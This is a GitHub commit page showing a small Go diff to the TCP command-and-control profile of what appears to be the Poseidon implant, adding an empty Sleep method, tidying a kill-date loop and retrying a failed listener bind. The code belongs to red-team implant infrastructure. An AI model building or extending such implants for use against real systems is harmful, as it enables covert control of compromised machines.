Skip to content

Commit

Permalink
adding new Sleep to tcp
Browse files Browse the repository at this point in the history
  • Loading branch information
its-a-feature committed Nov 15, 2024
1 parent 49c498a commit 819d6f8
Showing 1 changed file with 5 additions and 1 deletion.
Original file line number Diff line number Diff line change
Expand Up @@ -83,13 +83,16 @@ func init() {
RegisterAvailableC2Profile(&profile)
}
func (c *C2PoseidonTCP) CheckForKillDate() {
for true {
for {
time.Sleep(time.Duration(10) * time.Second)
today := time.Now()
if today.After(c.Killdate) {
os.Exit(1)
}
}
}
func (c *C2PoseidonTCP) Sleep() {

}
func (c *C2PoseidonTCP) Start() {
// start listening
Expand All @@ -107,6 +110,7 @@ func (c *C2PoseidonTCP) Start() {
if err != nil {
utils.PrintDebug(fmt.Sprintf("Failed to bind: %v\n", err))
time.Sleep(1 * time.Second)
continue
}
utils.PrintDebug(fmt.Sprintf("Listening on %s\n", c.Port))
if c.ShouldStop {
Expand Down

0 comments on commit 819d6f8

Please sign in to comment.